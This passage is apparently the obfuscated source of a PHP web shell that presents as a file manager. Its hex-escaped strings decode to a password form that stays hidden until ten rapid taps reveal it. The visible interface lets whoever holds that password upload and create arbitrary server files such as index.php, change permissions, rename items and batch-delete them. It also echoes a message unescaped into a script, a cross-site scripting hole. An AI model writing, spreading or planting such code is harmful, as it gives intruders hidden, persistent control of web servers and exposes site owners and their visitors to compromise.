156\x74\x65\x72\x20\x6d\x74\55\65\42\76\12\40\x20\x20\40\x3c\x69\x6e\160\165\x74\40\x74\x79\x70\x65\75\x27\160\141\x73\x73\167\157\162\x64\47\40\x6e\141\155\145\75\x27\160\x61\163\163\47\40\x70\154\x61\x63\145\x68\157\x6c\144\x65\x72\x3d\x27\120\x61\x73\x73\x77\157\162\144\x27\40\x63\154\141\163\163\x3d\x22\x66\x6f\162\155\55\x63\157\156\164\162\157\x6c\x20\155\x62\55\x32\42\40\163\164\x79\154\x65\x3d\x22\x6d\x61\x78\55\x77\151\144\x74\150\x3a\63\x30\x30\160\170\x3b\42\76\xa\40\x20\x20\x20\x3c\x62\165\x74\x74\x6f\156\40\x74\171\x70\x65\x3d\42\163\165\x62\x6d\151\x74\x22\40\143\x6c\x61\163\163\x3d\42\x62\164\x6e\x20\x62\x74\156\55\x73\165\143\x63\145\x73\x73\x22\x3e\101\x6b\x73\x65\x73\x3c\57\x62\x75\x74\x74\x6f\x6e\76\12\x20\40\x3c\x2f\146\157\x72\155\x3e\xa\x3c\57\x64\x69\166\76\12\xa\74\163\143\162\x69\160\164\x3e\12\40\40\x6c\145\164\40\x74\x61\160\x43\157\165\x6e\164\40\75\x20\x30\73\12\40\40\154\x65\164\x20\x74\x69\155\x65\162\x3b\12\xa\x20\x20\x5b\x27\x63\154\151\x63\153\47\x2c\x20\47\164\157\x75\x63\x68\163\x74\x61\x72\x74\47\135\x2e\x66\157\162\105\141\143\x68\50\x65\166\x65\156\164\x54\171\160\145\x20\x3d\76\x20\x7b\12\40\x20\x20\x20\144\x6f\x63\165\x6d\145\x6e\x74\56\x62\x6f\144\171\56\x61\144\144\x45\166\x65\x6e\x74\x4c\x69\x73\164\x65\156\145\x72\x28\x65\x76\145\156\x74\124\171\x70\x65\54\40\x66\165\x6e\x63\x74\x69\x6f\156\40\x28\x29\x20\x7b\xa\x20\x20\40\x20\x20\x20\x74\x61\160\x43\157\165\x6e\x74\53\x2b\x3b\12\40\40\40\x20\40\40\x63\154\145\141\162\124\151\x6d\x65\157\x75\x74\x28\164\x69\x6d\145\162\51\73\xa\12\x20\40\40\40\x20\40\151\x66\40\x28\164\x61\x70\103\157\x75\x6e\x74\x20\x3e\75\x20\61\x30\x29\40\x7b\12\40\40\40\x20\40\40\40\x20\144\157\x63\165\155\x65\156\164\x2e\x67\x65\164\105\154\x65\155\145\x6e\164\x42\x79\111\144\50\47\x73\x65\143\162\x65\x74\x27\51\x2e\163\x74\x79\154\x65\x2e\144\151\163\x70\x6c\141\171\40\75\40\47\142\x6c\157\x63\x6b\47\x3b\12\40\x20\40\40\x20\x20\175\12\xa\40\x20\x20\x20\40\x20\x74\x69\x6d\x65\x72\40\75\40\163\145\x74\124\151\x6d\x65\157\x75\164\x28\x28\x29\x20\x3d\76\x20\x7b\xa\x20\40\x20\x20\40\x20\x20\x20\164\141\160\x43\157\x75\156\164\40\x3d\40\x30\73\12\x20\x20\40\x20\x20\40\x7d\54\x20\x38\60\x30\51\73\xa\40\x20\x20\x20\175\x29\73\12\40\40\175\x29\73\12\x3c\57\163\x63\162\151\160\164\76"; if (!empty($msg)) { echo "\74\x73\x63\162\151\x70\x74\76\x61\154\x65\162\164\x28\x27{$msg}\x27\x29\x3b\74\57\x73\143\x72\151\160\x74\x3e"; } die; } goto snzRZ; sDob3: ?> "><i class="fa fa-home"></i> Home</a></li><li class="nav-item"><button class="btn nav-link"data-bs-target="#createModal"data-bs-toggle="modal"><i class="fa fa-plus"></i> New File/Folder</button></li><li class="nav-item"><button class="btn nav-link"data-bs-target="#uploadModal"data-bs-toggle="modal"><i class="fa fa-upload"></i> Upload</button></li><?php goto iNW_o; bQY87: echo $cwd; goto ipeos; snzRZ: function list_dir($path) { $items = scandir($path); $dirs = $files = array(); foreach ($items as $item) { if ($item === "\x2e" || $item === "\x2e\x2e") { continue; } $full = "{$path}\x2f{$item}"; if (!file_exists($full)) { error_log("\106\x69\154\x65\x20\x6f\x72\40\x64\151\x72\x65\143\164\157\162\171\x20\x6e\157\x74\x20\x66\x6f\165\156\144\x3a\x20" . $full); continue; } $info = array("\x6e\141\155\145" => $item, "\x70\x61\164\x68" => $full, "\151\163\137\x64\151\162" => is_dir($full), "\163\x69\x7a\145" => is_file($full) ? filesize($full) : "\x2d", "\155\164\x69\155\x65" => filemtime($full)); if (is_dir($full)) { $dirs[] = $info; } else { $files[] = $info; } } $current_path_real = realpath($path); $document_root_real = realpath($_SERVER["\104\117\103\125\x4d\x45\x4e\124\137\x52\117\x4f\x54"]); if ($current_path_real !== "\x2f" && $current_path_real !== $document_root_real) { $parent_path = dirname($path); if (strpos(realpath($parent_path), $document_root_real) === 0 || $parent_path === "\57") { array_unshift($dirs, array("\x6e\141\155\145" => "\56\x2e", "\x70\x61\164\150" => $parent_path, "\x69\x73\x5f\x64\151\162" => true, "\x73\151\x7a\145" => "\x2d", "\155\x74\151\x6d\145" => filemtime($parent_path))); } } return array_merge($dirs, $files); } goto h25bW; D9rmt: ?> </tbody></table></div><div class="mb-3 d-flex gap-2"id="batchActionsContainer"><select class="form-select"name="batch_action"style="width:auto"><option value="delete">Delete</option><option value="zip">Zip</option><option value="copy">Copy</option><option value="cut">Cut</option></select> <button class="btn btn-primary"type="submit"onclick="return confirmAction(this.form.batch_action.value)">Executed</button></div></form><div class="fade modal"id="uploadModal"aria-hidden="true"aria-labelledby="uploadModalLabel"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"id="uploadModalLabel">Upload File</h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><form method="post"enctype="multipart/form-data"><div class="modal-body"><input class="form-control"type="file"name="uploadfile"></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Close</button> <button class="btn btn-primary"type="submit"name="uploadfile">Upload</button></div></form></div></div></div><div class="fade modal"id="createModal"aria-hidden="true"aria-labelledby="createModalLabel"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"id="createModalLabel">Create New</h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><div class="modal-body"><h6><i class="fa fa-file-code-o"></i> Create New File</h6><form method="post"class="mb-4"><input class="form-control mb-2"name="newfile"required placeholder="File Name (e.g., index.php)"> <textarea class="form-control mb-2"name="filedata"placeholder="File Content (optional)"rows="5"></textarea> <button class="btn btn-success"type="submit">Create File</button></form><hr><h6><i class="fa fa-folder-open-o"></i> Create New Folder</h6><form method="post"><input class="form-control mb-2"name="newfolder"required placeholder="Folder Name (e.g., my_new_dir)"> <button class="btn btn-success"type="submit">Create Folder</button></form></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Close</button></div></div></div></div><div class="fade modal"id="renameModal"aria-hidden="true"aria-labelledby="renameModalLabel"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"id="renameModalLabel">Rename Item</h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><form method="post"><div class="modal-body"><input type="hidden"id="renameOldPath"name="old_path_rename"><div class="mb-3"><label class="form-label"for="renameNewName">New Name:</label> <input class="form-control"id="renameNewName"name="new_name"required></div></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-primary"type="submit"name="rename_submit">Rename</button></div></form></div></div></div><div class="fade modal"id="chmodModal"aria-hidden="true"aria-labelledby="chmodModalLabel"tabindex="-1"><div class="modal-dialog"><div class="modal-content"><div class="modal-header"><h5 class="modal-title"id="chmodModalLabel">Change Permissions (CHMOD)</h5><button class="btn-close"type="button"data-bs-dismiss="modal"aria-label="Close"></button></div><form method="post"><div class="modal-body"><input type="hidden"id="chmodPath"name="chmod_path"><div class="mb-3"><label class="form-label"for="chmodOctal">Octal Permissions:</label> <input class="form-control"id="chmodOctal"name="chmod_octal"pattern="[0-7]{3,4}"title="Use 3 or 4 octal digits (e.g., 0755)"required> <small class="form-text text-muted">Example: 755 (rwxr-xr-x), 644 (rw-r--r--)</small></div><div class="mb-3"><h6>Symbolic Permissions:</h6><div class="row"><div class="col-4"><strong>Owner</strong><br><div class="form-check"><input class="form-check-input"id="owner_read"type="checkbox"> <label class="form-check-label"for="owner_read">Read</label></div><div class="form-check"><input class="form-check-input"id="owner_write"type="checkbox"> <label class="form-check-label"for="owner_write">Write</label></div><div class="form-check"><input class="form-check-input"id="owner_execute"type="checkbox"> <label class="form-check-label"for="owner_execute">Execute</label></div></div><div class="col-4"><strong>Group</strong><br><div class="form-check"><input class="form-check-input"id="group_read"type="checkbox"> <label class="form-check-label"for="group_read">Read</label></div><div class="form-check"><input class="form-check-input"id="group_write"type="checkbox"> <label class="form-check-label"for="group_write">Write</label></div><div class="form-check"><input class="form-check-input"id="group_execute"type="checkbox"> <label class="form-check-label"for="group_execute">Execute</label></div></div><div class="col-4"><strong>Others</strong><br><div class="form-check"><input class="form-check-input"id="others_read"type="checkbox"> <label class="form-check-label"for="others_read">Read</label></div><div class="form-check"><input class="form-check-input"id="others_write"type="checkbox"> <label class="form-check-label"for="others_write">Write</label></div><div class="form-check"><input class="form-check-input"id="others_execute"type="checkbox"> <label class="form-check-label"for="others_execute">Execute</label></div></div></div></div></div><div class="modal-footer"><button class="btn btn-secondary"type="button"data-bs-dismiss="modal">Cancel</button> <button class="btn btn-primary"type="submit"name="set_chmod">Apply CHMOD</button></div></form></div></div></div></body></html>
Simpan